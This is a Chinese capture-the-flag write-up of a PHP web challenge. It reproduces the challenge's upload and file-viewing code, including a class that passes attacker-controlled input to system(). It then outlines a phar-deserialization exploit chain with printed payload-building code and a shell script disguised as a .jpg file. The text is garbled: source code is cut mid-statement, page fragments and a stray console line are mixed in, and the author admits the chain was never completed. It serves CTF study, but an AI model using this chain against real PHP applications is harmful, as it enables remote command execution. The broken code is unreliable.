这是一个非预期解,但是得到出题人的赞许,莫名开心,哈哈:
cancan need处存在任意文件读取
login
alert('Login success!');location.href='file.php'");
}else{die('
username = $username;$_SESSION['isLogin'] = True;$_SESSION['username'] = $username;}public function __wakeup(){$cklen = strlen($_SESSION["username"]);if ($cklen != 0 and $cklen <= 6) {$this->username = $_SESSION["username"];}}public function __destruct(){if ($this->username == '') {session_destroy();}}
}class File
{#更新黑名单为白名单,更加的安全public $white = array("jpg","png");public function show($filename){echo '';if(empty($filename)){die();}return '
';}public function upload($type){$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);return "Upload success! Path: upload/" . $filename;}public function rmfile(){system('rm -rf /var/www/html/upload/*');}public function check($type){if (!in_array($type,$this->white)){return false;}return true;}}#更新了一个恶意又有趣的Test类
class Test
{public $value;public function __destruct(){chdir('./upload');$this->backdoor();}public function __wakeup(){$this->value = "Don't make dream.Wake up plz!";}public function __toString(){$file = substr($_GET['file'],0,3);file_put_contents($file, "Hack by $file !");return 'Unreachable! :)';}public function backdoor(){if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){$this->value = 'nono~';}system($this->value);}}进程已结束,退出代码0
login
润!🏃alert('号登一下谢谢。');location.href='index.php'");
}
$form = '
';$file = new file();
switch ($_GET['m']) {case 'upload':if(empty($_FILES)){die($form);}$type = end(explode(".", $_FILES['file']['name']));if ($file->check($type)) {die($file->upload($type));}else{die('你食不食油饼🤬');}break;case 'show':die($file->show($_GET['filename']));break;case 'rm':$file->rmfile();die("全删干净了捏😋");break;case 'logout':session_destroy();die("");break;default:echo 'Halo! '.$_SESSION['username'].'
';break;
}
?>来点😍图🥵
销毁证据🧹
cancan need👀
这种查文件+文件上传,多半就是考phar,但是这次没做出来主要卡在system的过滤了
本来的思路是上传一个文件1.jpg,内容如下:
#!/bin/bash
ls /
这个文件在/upload目录下面,只要命令是. ./*就可以执行命令了,接下来就是如何实现了:
普通用户,上传1.jpg
修改名字为. ./*
上传一个phar文件:
username = new Test();
$b->test = $a;
$a->value = &$b->username;
// echo serialize($b);
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub('');
$phar->setMetadata($b);
$phar->addFromString("exp.txt", "test");
$phar->stopBuffering();
rename("test.phar", "ameuu.jpg");
关于这一步是如何把username=. ./*赋值给value的,是因为登陆的时候把数据写到SESSION了,反序列化的时候会取出来。
原理是这样,但是还是没有落实到位,因为本地Ubuntu不知道为什么上传不了文件,只能暂时作罢。
不能给出更详细的步骤,见谅。
phar读取文件:触发ls /
直接读取/ghjsdk_F149_H3re_asdasfc
上一篇:沁园春蒙福如